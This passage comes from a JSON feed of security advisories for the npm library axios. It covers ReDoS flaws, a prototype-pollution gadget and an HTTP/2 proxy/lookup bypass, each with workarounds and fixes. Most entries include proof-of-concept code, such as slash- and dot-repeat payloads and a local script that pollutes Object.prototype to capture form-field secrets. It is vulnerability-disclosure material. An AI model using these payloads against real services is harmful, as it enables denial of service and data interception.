003e= 1.0.0, \u003c 1.20.0"},{"first_patched_version":"0.34.0","vulnerable_version_range":"\u003e= 0.27.2, \u003c 0.34.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05ZnI2LTRnZmctMzk1Z84AB7Kw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jMjltLXh3bTMtY202cs4AB7Kv","url":"https://github.com/advisories/GHSA-c29m-xwm3-cm6r","title":"Axios: ReDoS in fromDataURI data: URL parser freezes the Node event loop (DoS)","description":"## Summary\n\nAxios for Node.js parses `data:` URLs in `lib/helpers/fromDataURI.js`. The current RFC-2397 parser uses a regular expression whose media type groups allow `/` inside both sides of the `type/subtype` match. A malformed `data:` URL containing many slashes and no comma forces the JavaScript regex engine to try many possible placements for the separator before failing.\n\nApplications are affected when they pass untrusted URL strings to axios and do not reject or constrain `data:` URLs before axios parses them.\n\n## Impact\n\nAn attacker can make the Node.js event loop spend significant synchronous CPU time parsing a single malformed URL. In a server that accepts a URL from an HTTP request and calls `axios.get(url)`, this can block unrelated requests and health checks until parsing completes.\n\nThe issue is availability-only. It does not disclose data or modify requests.\n\n## Affected Functionality\n\nAffected:\n\n- Node.js HTTP adapter data URL handling.\n- `axios.get()` or equivalent calls where `config.url` has the `data:` protocol.\n\nNot affected:\n\n- Browser fetch/XHR URL handling.\n- Node requests where the application rejects `data:` URLs before calling axios.\n- Older checked `0.x` data URL parser shape unless separately proven vulnerable.\n\n## Technical Details\n\n`lib/helpers/fromDataURI.js` contains:\n\n```js\nconst DATA_URL_PATTERN = /^([^,;]+\\/[^,;]+)?((?:;[^,;=]+=[^,;]+)*)(;base64)?,([\\s\\S]*)$/;\n```\n\nThe `[^,;]+` groups include `/`, so a long string of slashes without a comma can be partitioned around the required `\\/` in many ways before the match fails. The match runs before axios can apply request timeout behavior, so `timeout` does not mitigate the parsing pause.\n\nLocal timing on axios `1.18.1` with small payloads showed about 2.4 ms at 1000 slashes, 16.6 ms at 3000 slashes, and 71.5 ms at 6000 slashes, consistent with the submitted quadratic scaling while avoiding long-running payloads.\n\n## Proof of Concept of Attack\n\nConstrained helper-level demonstration:\n\n```js\nimport axios from 'axios';\n\nawait axios.get('data:' + '/'.repeat(6000));\n```\n\nThe request fails after parsing, but the failure is delayed by synchronous regex work. Larger payloads increase the pause substantially.\n\n## Workarounds\n\nReject `data:` URLs before passing untrusted input to axios, or enforce a strict maximum URL length for URL-fetching endpoints. Applications that do not need `data:` URL support should deny that protocol explicitly.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n# ReDoS in `fromDataURI` data: URL parser freezes the event loop (DoS)\n\n## Affected\n- Package: `axios` (Node.js http adapter)\n- Versions: 1.x (regex present on `v1.x`, current release line)\n- File: `lib/helpers/fromDataURI.js`\n- CWE-1333 (Inefficient Regular Expression Complexity)\n\n## Issue\n`fromDataURI` parses `data:` URLs with this regex:\n\n```js\n// lib/helpers/fromDataURI.js:9\nconst DATA_URL_PATTERN = /^([^,;]+\\/[^,;]+)?((?:;[^,;=]+=[^,;]+)*)(;base64)?,([\\s\\S]*)$/;\n```\n\nThe mediatype tokens `[^,;]+` include `/`, so they can span multiple slashes ambiguously. A `data:` URL made of many slashes with no comma forces the engine to try every way to place the single `\\/` divider before failing — quadratic O(n²) backtracking. It runs synchronously on the main thread, so the whole Node event loop is frozen for the entire parse. Reachable through the public API on the Node http adapter (`axios.get(url)`); the browser fetch/xhr adapters are not affected because they do not call `fromDataURI`.\n\nA configured `timeout` does not help: the freeze happens during parsing, before any network timer can fire.\n\n## PoC (minimal)\n```js\nimport axios from 'axios';\n// ~256 KB data: URL of pure slashes, no comma\nawait axios.get('data:' + '/'.repeat(262139)); // blocks the event loop ~6 min, then throws\n```\n\n## Lab results\nSingle-threaded \"fetch a user-supplied URL\" service (link-preview style) calling `axios.get` on a JSON body `{ \"url\": \"...\" }`, with `timeout: 1000` set.\n\nScaling is clean O(n²) (constant k ≈ 5.6e-6 ms/byte², stable across sizes):\n\n| data: URL size | Event-loop freeze (one request) |\n| --- | --- |\n| 32 KB | 6.3 s (measured end-to-end; server logged `event loop BLOCKED for 6.30s`) |\n| 64 KB | ~24 s |\n| 128 KB | ~96 s |\n| 256 KB | ~385 s (~6.4 min) |\n| 1 MB | ~100 min |\n\nDuring the freeze the server answers nothing: a `/healthz` liveness probe times out for the whole window, and the server's own event-loop monitor cannot even log until the parse finishes. In a run through an intercepting proxy, the proxy hit its 120 s upstream timeout and gave up, while the origin stayed pegged at 100% CPU on one core past that — client/proxy timeouts do not mitigate it.\n\nThe attacker controls only the URL string and needs no auth. ~256 KB every ~6 min (≈ 0.7 bytes/sec) keeps a server permanently unavailable.\n\n## Impact\nUnauthenticated remote denial of service. One small request takes a Node service fully offline for minutes; a trickle keeps it down indefinitely.\nCVSS 3.1: 7.5 (High) — `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`.\n\n## Fix\nRFC 2045 type/subtype tokens never contain `/`. Excluding `/` from those two character classes removes the ambiguity and the backtracking:\n\n```js\nconst DATA_URL_PATTERN = /^([^,;/]+\\/[^,;/]+)?((?:;[^,;=]+=[^,;]+)*)(;base64)?,([\\s\\S]*)$/;\n```\n\nWorst-case parse drops from ~2600 ms to ~0.002 ms. All valid `data:` URLs, including slashes in the body, parse identically.\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-30T15:03:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-c29m-xwm3-cm6r","https://nvd.nist.gov/vuln/detail/CVE-2026-101903","https://github.com/axios/axios/pull/11141","https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a","https://github.com/axios/axios/releases/tag/v1.20.0","https://github.com/advisories/GHSA-c29m-xwm3-cm6r"],"source_kind":"github","identifiers":["GHSA-c29m-xwm3-cm6r","CVE-2026-101903"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T16:00:09.069Z","updated_at":"2026-09-30T16:00:09.069Z","epss_percentage":0.00382,"epss_percentile":0.29698,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jMjltLXh3bTMtY202cs4AB7Kv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jMjltLXh3bTMtY202cs4AB7Kv","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.20.0","vulnerable_version_range":"\u003e= 1.16.1, \u003c 1.20.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jMjltLXh3bTMtY202cs4AB7Kv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tZ2hoLXBnY3gtM2pqas4AB7Ku","url":"https://github.com/advisories/GHSA-mghh-pgcx-3jjj","title":"Axios: ReDoS (O(N²)) in shouldBypassProxy host normalization, reachable via untrusted redirect Location","description":"## Summary\n\nAxios `shouldBypassProxy()` normalizes hostnames with `hostname.replace(/\\.+$/, '')`. For a hostname shaped as many dots followed by a non-dot, the anchored regex can perform quadratic backtracking. Because axios re-evaluates proxy bypass rules for redirected requests, a malicious server can trigger this synchronous work through a crafted redirect `Location`.\n\nThe issue affects Node.js applications that use environment proxy variables with `NO_PROXY` and allow redirects.\n\n## Impact\n\nAn attacker-controlled server can return a redirect whose hostname causes the axios process to spend significant CPU time in synchronous hostname normalization. During this time, the Node.js event loop is blocked and the application cannot handle other work on that thread.\n\nThis is an availability-only issue. It does not disclose request data or modify requests.\n\n## Affected Functionality\n\nAffected:\n\n- Node.js HTTP adapter.\n- Environment proxy handling through `HTTP_PROXY` or `HTTPS_PROXY`.\n- `NO_PROXY` or `no_proxy` set to a non-empty value.\n- Redirects followed by axios or `follow-redirects`.\n\nNot affected:\n\n- Browser adapters.\n- Requests with `proxy: false`.\n- Requests with no `NO_PROXY` value.\n- Requests with `maxRedirects: 0`, unless application code manually follows the malicious redirect and re-enters axios.\n\n## Technical Details\n\n`lib/helpers/shouldBypassProxy.js` contains:\n\n```js\nreturn unmapIPv4MappedIPv6(hostname.replace(/\\.+$/, ''));\n```\n\nWhen the hostname is `\".\" * n + \"a\"`, the `$` anchor causes the regex engine to retry the dot run from many positions before it fails. `setProxy()` invokes `shouldBypassProxy(location)` after `getProxyForUrl(location)` returns a proxy, including on redirect hops via `beforeRedirects.proxy`.\n\nLocal timing on axios `1.18.1` showed increasing cost for crafted hostnames: about 1 ms at 1000 dots, 6.9 ms at 3000 dots, and 34.5 ms at 6000 dots. The growth is consistent with the submitted quadratic claim while avoiding long-running payloads.\n\n## Proof of Concept of Attack\n\nConstrained helper-level demonstration:\n\n```js\nimport shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';\n\nprocess.env.NO_PROXY = 'example.com';\nshouldBypassProxy('http://' + '.'.repeat(6000) + 'a/');\n```\n\nIn the full adapter path, a malicious server can return that hostname in a `302 Location` header while the client has proxy environment variables and `NO_PROXY` configured.\n\n## Workarounds\n\nDisable automatic redirects for requests to untrusted servers, or avoid environment proxy handling for those requests with `proxy: false` when appropriate. Operators can also avoid broad untrusted redirect-following in services where event-loop availability is critical.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n### Summary\n\nshouldBypassProxy normalizes a host with hostname.replace(/\\.+$/, ''). On a host of the shape \u003cmany dots\u003e\u003cnon-dot\u003e (e.g. \".\" × 40000 + \"a\"), this anchored regex backtracks quadratically (O(N²)), synchronously starving the Node.js event loop. Because axios re-evaluates the proxy on every redirect using the new Location host, a malicious server can return a crafted 302 Location and freeze the client's event loop for seconds per redirect — a denial of service.\n\n### Details\n\n- Affected code: lib/helpers/shouldBypassProxy.js → normalizeNoProxyHost: hostname.replace(/\\.+$/, '') (one pass in 1.18.1). The open PR #11029 adds a second /\\.+$/ pass in normalizeIPAddress, doubling the cost (not the origin).\n- Root cause: /\\.+$/ is O(N²) on a long run of dots that is not at the end of the string — the $ anchor forces the engine to backtrack the entire dot-run from every start position.\n- Trust boundary (per THREATMODEL): the redirect Location is untrusted (T-2: \"axios to network … redirect Location … untrusted\"). The caller requests a benign URL; the malicious host arrives via the server's 302. This is not the T-1 caller-supplied-URL non-goal.\n- Call chain: setProxy(options, configProxy, location, isRedirect, …) (lib/adapters/http.js) → env-proxy branch → getProxyForUrl(location) returns a proxy → if (!shouldBypassProxy(location)) → normalizeNoProxyHost(parsed.hostname.toLowerCase()) runs /\\.+$/. setProxy is re-invoked on the redirect hop with the untrusted Location; new URL() retains the long dot-run in .hostname.\n- Preconditions: proxy configured via environment (HTTP_PROXY/HTTPS_PROXY, trusted per THREATMODEL T-3, common in CI/containers/enterprise) + NO_PROXY set + redirects followed (default maxRedirects: 5).\n\n### PoC\n\nSelf-contained, no network — imports axios's own helper:\n// node poc.mjs   (run next to an axios install)\nimport sbp from './node_modules/axios/lib/helpers/shouldBypassProxy.js';\nprocess.env.NO_PROXY = 'example.com';\nfor (const n of [5000, 10000, 20000, 40000]) {\n  const url = 'http://' + '.'.repeat(n) + 'a/';   // arrives as an untrusted 302 Location host\n  const t0 = process.hrtime.bigint();\n  sbp(url);                                         // returns false (correct no-bypass) — but O(N^2) slow\n  console.log(`N=${n}: ${(Number(process.hrtime.bigint()-t0)/1e6)|0} ms`);\n}\n// Measured on 1.18.1: N=5000 ~43ms, 10000 ~160ms, 20000 ~618ms, 40000 ~2499ms; benign host ~0.05ms.\nDriven through the real http-adapter __setProxy on the redirect path (setProxy(…, isRedirect=true)), a 10 ms timer fires 0 times during the ~2.4 s block at N=40000 — full event-loop starvation.\n\n### Impact\n\nDenial of service (event-loop starvation) on any axios client that uses an environment proxy with NO_PROXY set and follows redirects, when a server it contacts returns a crafted redirect Location. No data exposure or RCE. Same impact class as the accepted DoS advisories GHSA-62hf-57xw-28j9 (toFormData recursion) and the maxContentLength response-size DoS.\n\n### Suggested fix\n\nReplace the regex trailing-dot strip with a linear trim:\nlet end = hostname.length;\nwhile (end \u003e 0 \u0026\u0026 hostname.charCodeAt(end - 1) === 46 /* '.' */) end--;\nhostname = hostname.slice(0, end);\nAlso drop the redundant second /\\.+$/ pass in PR #11029's normalizeIPAddress.\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-30T15:03:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-mghh-pgcx-3jjj","https://nvd.nist.gov/vuln/detail/CVE-2026-101906","https://github.com/axios/axios/pull/11141","https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a","https://github.com/axios/axios/releases/tag/v1.20.0","https://github.com/advisories/GHSA-mghh-pgcx-3jjj"],"source_kind":"github","identifiers":["GHSA-mghh-pgcx-3jjj","CVE-2026-101906"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T16:00:09.069Z","updated_at":"2026-09-30T16:00:09.069Z","epss_percentage":0.00402,"epss_percentile":0.31831,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tZ2hoLXBnY3gtM2pqas4AB7Ku","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tZ2hoLXBnY3gtM2pqas4AB7Ku","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.20.0","vulnerable_version_range":"\u003e= 1.15.0, \u003c 1.20.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tZ2hoLXBnY3gtM2pqas4AB7Ku/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14OTdwLWpxMmctanA0Zs4AB7Kt","url":"https://github.com/advisories/GHSA-x97p-jq2g-jp4f","title":"Axios: Prototype Pollution Gadget in axios toFormData Options","description":"## Summary\n\nAxios form serialization reads `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob` from an internal options object without own-property guards. When `Object.prototype` has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies.\n\nAxios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures.\n\n## Impact\n\nThe impact depends on which property is polluted and which axios serialization path the application uses.\n\nPolluted `dots`, `indexes`, or `metaTokens` can change field names and cause the receiving service to parse different data than the caller intended. Polluted `maxDepth` can cause nested form submissions to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`, producing request-level or service-level denial of service for affected workflows. Polluted `visitor` can execute as the serializer visitor if an attacker can place a function on `Object.prototype`, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully.\n\n## Affected Functionality\n\nAffected:\n\n- `axios.toFormData()`.\n- `transformRequest` paths that serialize plain objects to `multipart/form-data`.\n- URL-encoded form serialization paths that rely on the same helper.\n- `formSerializer` option defaults when the relevant properties are absent as own properties.\n\nNot affected:\n\n- JSON request bodies.\n- Requests that do not invoke `toFormData()`.\n- Processes where `Object.prototype` is not polluted.\n\n## Technical Details\n\n`lib/helpers/toFormData.js` merges caller options with defaults using `utils.toFlatObject()`. When `options` is `undefined`, `toFlatObject()` returns the default object unchanged:\n\n```js\n{\n  metaTokens: true,\n  dots: false,\n  indexes: false\n}\n```\n\nThat default object has `Object.prototype` in its prototype chain. `toFormData()` then reads behavior-affecting values directly:\n\n```js\nconst metaTokens = options.metaTokens;\nconst visitor = options.visitor || defaultVisitor;\nconst dots = options.dots;\nconst indexes = options.indexes;\nconst _Blob = options.Blob || (typeof Blob !== 'undefined' \u0026\u0026 Blob);\nconst maxDepth = options.maxDepth === undefined ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth;\n```\n\nThese reads can resolve inherited polluted properties.\n\nLocal code review confirmed the direct reads in `v1.18.1`. Tag checks show the option-based form serializer exists in `v0.28.0` and later; `maxDepth` appears in the `1.x` line from the form recursion fix.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype.maxDepth = 1;\n\nawait axios.post(url, { a: { b: { c: 'value' } } }, {\n  headers: { 'Content-Type': 'multipart/form-data' }\n});\n```\n\nExpected safe behavior is that the default max depth is used unless the caller sets an own `formSerializer.maxDepth`. Current behavior reads the inherited value and can throw `ERR_FORM_DATA_DEPTH_EXCEEDED`.\n\nFor serializer alteration, polluting `Object.prototype.dots = true` changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior.\n\n## Workarounds\n\nAvoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own `formSerializer` object that sets explicit safe values for all relevant keys, including `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob`.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n\n### Summary\n_axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (`visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, `Blob`) are read from a plain JavaScript object that inherits from `Object.prototype` without `hasOwnProperty` guards. When `Object.prototype` has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios' form serialization behavior._\n\n_The highest-impact gadget is `visitor`: a polluted function on `Object.prototype.visitor` is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments._\n\n### Details\n#### Root Cause\n_The attack chain has three steps:_\n_**Step 1:  `formSerializer` is read safely, but `undefined` flows through**_\n_In `lib/defaults/index.js`, the default `transformRequest` function reads `formSerializer` from config using the `own()` helper, which enforces `hasOwnProp`:_\n```js\nconst formSerializer = own(this, 'formSerializer');\n```\n_When the user does not explicitly configure `formSerializer`, this correctly returns `undefined`. That `undefined` is then passed as the `options` parameter to `toFormData()`:_\n```js\nreturn toFormData(data, _FormData \u0026\u0026 new _FormData(), formSerializer);\n//                                                     ^^^^^^^^^^^^ undefined\n```\n\n_**Step 2: `toFlatObject` returns a plain-object default**_\n_Inside `lib/helpers/toFormData.js`, `options` (which is `undefined`) is merged with defaults via `utils.toFlatObject()`:_\n```js\noptions = utils.toFlatObject(\n    options,                                    // undefined\n    { metaTokens: true, dots: false, indexes: false },  // plain object literal\n    false,\n    function defined(option, source) {\n        return !utils.isUndefined(source[option]);\n    }\n);\n```\n_`toFlatObject` has an early-return for null/undefined sources:_\n\n```js\n// lib/utils.js:607\nif (sourceObj == null) return destObj;\n```\n_Since `options` is `undefined`, the function returns `destObj` unchanged — the plain object `{ metaTokens: true, dots: false, indexes: false }`. This object's prototype is `Object.prototype`._\n\n_**Step 3: Options are read without `hasOwnProp` guards**_\n_The six option properties are read directly from the plain object:_\n```js\nconst metaTokens = options.metaTokens;                                          // line 117\nconst visitor    = options.visitor || defaultVisitor;                            // line 119\nconst dots       = options.dots;                                                // line 120\nconst indexes    = options.indexes;                                             // line 121\nconst _Blob      = options.Blob || (typeof Blob !== 'undefined' \u0026\u0026 Blob);       // line 122\nconst maxDepth   = options.maxDepth === undefined                                // line 123\n                     ? DEFAULT_FORM_DATA_MAX_DEPTH\n                     : options.maxDepth;\n```\n_None of these reads use `utils.hasOwnProp()`. Since the `options` object inherits from `Object.prototype`, any property set on `Object.prototype` by a compromised dependency is resolved through the prototype chain._\n\n#### Why the Existing Defenses Didn't Catch This\n_axios has extensive prototype pollution defenses. However, those defenses are all focused on the **config** object (created by `mergeConfig`, which returns `Object.create(null)`). The `toFormData` function creates its own internal options object that sits outside that boundary, and the 6 reads on that internal object were never audited._\n\n### PoC\n#### Reproduction Steps\n#### Environment\n_Any environment with Node.js and npm. Tested on:_\n_- Node.js v24.15.0, npm 11.13.0_\n_- axios v1.18.1 (latest release at time of writing)_\n\n##### Step 1: Create a fresh project\n```bash\nmkdir axios-pp-poc\ncd axios-pp-poc\nnpm init -y\nnpm install axios@1.18.1\n```\n##### Step 2: Create the PoC file\n_Create `poc.mjs` with the following content:_\n```js\nimport axios from 'axios';\nimport http from 'http';\n\n// Simulate pollution from a compromised transitive dependency\nlet stolen = [];\nObject.prototype.visitor = function(value, key, path, helpers) {\n    stolen.push({ key, value });\n    return helpers.defaultVisitor.call(this, value, key, path);\n};\nObject.prototype.maxDepth = 2;\n\nconst server = http.createServer((req, res) =\u003e {\n    res.writeHead(200);\n    res.end('{}');\n});\n\nserver.listen(0, '127.0.0.1', async () =\u003e {\n    const { port } = server.address();\n    try {\n        // Exfiltration: visitor intercepts all form fields\n        await axios.post(`http://127.0.0.1:${port}/`, {\n            username: 'john',\n            password: 'SuperSecret123!',\n            profile: { ssn: '123-45-6789' }\n        }, { headers: { 'Content-Type': 'multipart/form-data' } });\n\n        console.log('Stolen:', stolen);\n        // Stolen: [\n        //   { key: 'username', value: 'john' },\n        //   { key: 'password', value: 'SuperSecret123!' },\n        //   { key: 'profile',  value: { ssn: '123-45-6789' } },\n        //   { key: 'ssn',      value: '123-45-6789' }\n        // ]\n\n        // DoS: nested object rejected by polluted maxDepth\n        await axios.post(`http://127.0.0.1:${port}/`,\n            { a: { b: { c: { d: 'value' } } } },\n            { headers: { 'Content-Type': 'multipart/form-data' } }\n        );\n        // Throws: ERR_FORM_DATA_DEPTH_EXCEEDED\n        //   \"Object is too deeply nested (3 levels). Max depth: 2\"\n    } finally {\n        delete Object.prototype.visitor;\n        delete Object.prototype.maxDepth;\n        server.close();\n    }\n});\n```\n##### Step 3: Run the PoC\n```bash\nnode poc.mjs\n```\n\n\n### Impact\n#### 1. Data Exfiltration via `visitor` (Confidentiality: High)\n_A polluted `Object.prototype.visitor` function is called as the form data visitor:_\n```js\nvisitor.call(formData, el, key, path, exposedHelpers)\n```\n_The attacker receives:_\n_- **`value`** — the raw value being serialized (passwords, tokens, PII, API keys)_\n_- **`key`** — the field name_\n_- **`path`** — the full path array (e.g., `['profile', 'address', 'street']`)_\n_- **`exposedHelpers`** — internal helpers including `defaultVisitor`, `convertValue`, `isVisitable`_\n\n_By delegating to `helpers.defaultVisitor`, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server._\n\n#### 2. Denial of Service via `maxDepth` (Availability: Low)\n_A polluted `Object.prototype.maxDepth` of `1` or `2` causes any moderately nested form data request to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`. Applications that send nested objects as form data (common with APIs that accept `profile[name]`, `address[city]`, etc.) will experience mysterious failures._\n\n#### 3. Data Corruption via `dots`, `indexes`, `metaTokens` (Integrity: Low)\n_Polluting these options changes the serialization format of form field names:_\n_- **`dots: true`** — changes bracket notation (`user[name]`) to dot notation (`user.name`)_\n_- **`indexes: true`** — changes array serialization (`items[]`) to indexed (`items[0]`, `items[1]`)_\n_- **`metaTokens: false`** — changes `obj{}` keys to raw json strings_\n\n_The server may misinterpret the submitted form data, leading to silent data corruption._\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-30T15:02:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-x97p-jq2g-jp4f","https://nvd.nist.gov/vuln/detail/CVE-2026-101909","https://github.com/axios/axios/pull/11141","https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a","https://github.com/axios/axios/commit/d29be181f85f6fe93397a07b1f69606d9622637b","https://github.com/axios/axios/releases/tag/v0.34.0","https://github.com/axios/axios/releases/tag/v1.20.0","https://github.com/advisories/GHSA-x97p-jq2g-jp4f"],"source_kind":"github","identifiers":["GHSA-x97p-jq2g-jp4f","CVE-2026-101909"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T16:00:09.069Z","updated_at":"2026-09-30T16:00:09.069Z","epss_percentage":0.00354,"epss_percentile":0.26599,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14OTdwLWpxMmctanA0Zs4AB7Kt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14OTdwLWpxMmctanA0Zs4AB7Kt","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.20.0","vulnerable_version_range":"\u003e= 1.15.1, \u003c 1.20.0"},{"first_patched_version":"0.34.0","vulnerable_version_range":"\u003e= 0.28.0, \u003c 0.34.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14OTdwLWpxMmctanA0Zs4AB7Kt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zcHEzLTVmajMtY2c2ds4AB7Ks","url":"https://github.com/advisories/GHSA-3pq3-5fj3-cg6v","title":"Axios: HTTP/2 adapter bypasses configured DNS lookup and proxy controls","description":"## Summary\n\nAxios for Node.js does not apply configured DNS lookup or proxy controls when a request uses `httpVersion: 2`. The HTTP/1 adapter path wraps and forwards `config.lookup`, builds normal request options, and applies proxy routing through `setProxy()`. The HTTP/2 path builds a session with `http2.connect()` using only `options.http2Options`, which drops the top-level `lookup`, `agent`, and proxy state.\n\nApplications are affected when they allow a user to influence request destinations, enable axios HTTP/2, and rely on axios `lookup` or proxy routing to prevent SSRF or enforce outbound network policy.\n\n## Impact\n\nIn affected server-side deployments, an attacker can cause axios to connect directly to destinations that the configured resolver or proxy would have rejected. Depending on reachable services, this can expose cloud metadata, internal service responses, or allow state-changing requests to internal systems.\n\nThis is not an unconditional SSRF in every axios deployment. It requires `httpVersion: 2` and an application-level trust boundary where user-influenced URLs are constrained by `lookup` or proxy policy.\n\n## Affected Functionality\n\nAffected:\n\n- Node.js HTTP adapter with `httpVersion: 2`.\n- `config.lookup` supplied as a DNS policy.\n- Explicit `config.proxy` and environment-derived proxy settings for HTTPS HTTP/2 requests.\n\nNot affected:\n\n- Browser adapters.\n- Node HTTP/1 requests, which pass `lookup` to the transport and apply proxy handling.\n- Applications that validate destination hosts independently before calling axios.\n\n## Technical Details\n\nIn `lib/adapters/http.js`, the adapter reads `lookup`, wraps it, stores it on the request `options`, and applies `setProxy()` before selecting a transport. For HTTP/2, `http2Transport.request()` builds an authority from `options.protocol`, `options.hostname`, and `options.port`, then calls:\n\n```js\nconst { http2Options, headers } = options;\nconst session = http2Sessions.getSession(authority, http2Options);\n```\n\n`lib/helpers/Http2Sessions.js` ultimately calls `http2.connect(authority, options)` with only the `http2Options` object. The configured DNS lookup and the proxy or tunneling agent installed on the top-level request options are not forwarded into that call.\n\nLocal verification on axios `1.18.1` showed `lookupCalls: 0` while an HTTP/2 request to a local h2 origin succeeded. A second local HTTPS h2 verification with an explicit rejecting HTTP proxy showed the origin received the request and the proxy observed no traffic.\n\n## Proof of Concept of Attack\n\nLocal constrained demonstration:\n\n1. Start an HTTP/2 server on loopback.\n2. Call `axios.get(\"http://localhost:\u003cport\u003e/internal\", { httpVersion: 2, lookup })` where `lookup` throws `EPOLICY`.\n3. Observe that the request succeeds and the lookup counter remains `0`.\n\nFor proxy routing:\n\n1. Start an HTTPS HTTP/2 origin and a local HTTP proxy that rejects every request and CONNECT.\n2. Call axios with `httpVersion: 2`, `http2Options: { rejectUnauthorized: false }`, and explicit `proxy`.\n3. Observe that the origin receives the request and the proxy receives nothing.\n\nExpected safe behavior is that either the lookup policy blocks the request or the proxy observes and rejects the request.\n\n## Workarounds\n\nUse the HTTP/1 adapter path for requests that depend on axios `lookup` or proxy controls. Alternatively, enforce destination allow/deny policy before calling axios, outside the adapter transport path.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n  ### Summary\n\nI found that Axios does not apply the configured `lookup` function or proxy when a request uses `httpVersion: 2`. The HTTP/1 adapter applies both controls, but the HTTP/2 path connects straight to the URL's hostname using `http2.connect()`.\n\nThis matters for server applications that accept a user-influenced URL and use a custom DNS lookup or mandatory outbound proxy to prevent SSRF. Switching the Axios instance to HTTP/2 silently removes those controls, allowing the request to reach an address the application intended to block.\n\nI reproduced this on the current npm release, Axios 1.18.1.\n\n### Details\n\nThe HTTP adapter reads and wraps the caller's `lookup` function, builds the normal request options, and calls `setProxy()`:\n\n- `lib/adapters/http.js`, around lines 530-578: reads and wraps `lookup`\n- `lib/adapters/http.js`, around lines 895-954: adds `lookup` to `options` and applies `setProxy()`\n\nFor HTTP/2, however, the adapter selects `http2Transport`. That transport creates an authority from the destination and only passes `options.http2Options` to the session pool:\n\n```js\nconst { http2Options, headers } = options;\nconst session = http2Sessions.getSession(authority, http2Options);\n```\n\n`lib/helpers/Http2Sessions.js` then calls:\n\n```js\nconst session = http2.connect(authority, options);\n```\n\nAt this point `options` is only the `http2Options` object. The top-level `lookup`, the proxy tunnelling agent created by `setProxy()`, and the selected `httpAgent`/`httpsAgent` are not forwarded. The request therefore uses the system resolver and opens a direct connection to the origin.\n\nThe same root cause affects both explicit proxy configuration and environment-derived proxy configuration. I kept the PoC local and used an explicit proxy so the result does not depend on shell environment 